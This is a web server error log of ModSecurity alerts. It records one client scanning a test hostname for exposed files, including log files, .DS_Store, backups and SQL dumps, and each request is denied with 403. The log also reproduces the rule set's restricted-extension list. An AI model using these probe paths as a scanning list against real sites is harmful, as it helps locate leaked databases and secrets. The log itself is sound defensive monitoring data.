[Mon Jul 28 12:12:35.687182 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/error.log&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x52wAAAAY&quot;]
[Mon Jul 28 12:12:35.687541 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/error.log&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x52wAAAAY&quot;]
[Mon Jul 28 12:12:35.687739 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/error.log&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x52wAAAAY&quot;]
[Mon Jul 28 12:12:35.707798 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x53AAAAAY&quot;]
[Mon Jul 28 12:12:35.708146 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x53AAAAAY&quot;]
[Mon Jul 28 12:12:35.708340 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x53AAAAAY&quot;]
[Mon Jul 28 12:12:35.728367 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x53QAAAAY&quot;]
[Mon Jul 28 12:12:35.728713 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x53QAAAAY&quot;]
[Mon Jul 28 12:12:35.728904 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x53QAAAAY&quot;]
[Mon Jul 28 12:12:35.748968 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x53gAAAAY&quot;]
[Mon Jul 28 12:12:35.749306 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x53gAAAAY&quot;]
[Mon Jul 28 12:12:35.749506 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x53gAAAAY&quot;]
[Mon Jul 28 12:12:35.770865 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x53wAAAAY&quot;]
[Mon Jul 28 12:12:35.771213 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x53wAAAAY&quot;]
[Mon Jul 28 12:12:35.771407 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x53wAAAAY&quot;]
[Mon Jul 28 12:12:35.791557 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x54AAAAAY&quot;]
[Mon Jul 28 12:12:35.791780 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x54AAAAAY&quot;]
[Mon Jul 28 12:12:35.791963 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x54AAAAAY&quot;]
[Mon Jul 28 12:12:35.835470 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x54gAAAAY&quot;]
[Mon Jul 28 12:12:35.835769 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x54gAAAAY&quot;]
[Mon Jul 28 12:12:35.835937 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x54gAAAAY&quot;]
[Mon Jul 28 12:12:35.857646 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x54wAAAAY&quot;]
[Mon Jul 28 12:12:35.857951 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x54wAAAAY&quot;]
[Mon Jul 28 12:12:35.858124 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x54wAAAAY&quot;]
[Mon Jul 28 12:12:35.878532 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x55AAAAAY&quot;]
[Mon Jul 28 12:12:35.878859 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x55AAAAAY&quot;]
[Mon Jul 28 12:12:35.879058 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x55AAAAAY&quot;]
[Mon Jul 28 12:12:35.899368 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x55QAAAAY&quot;]
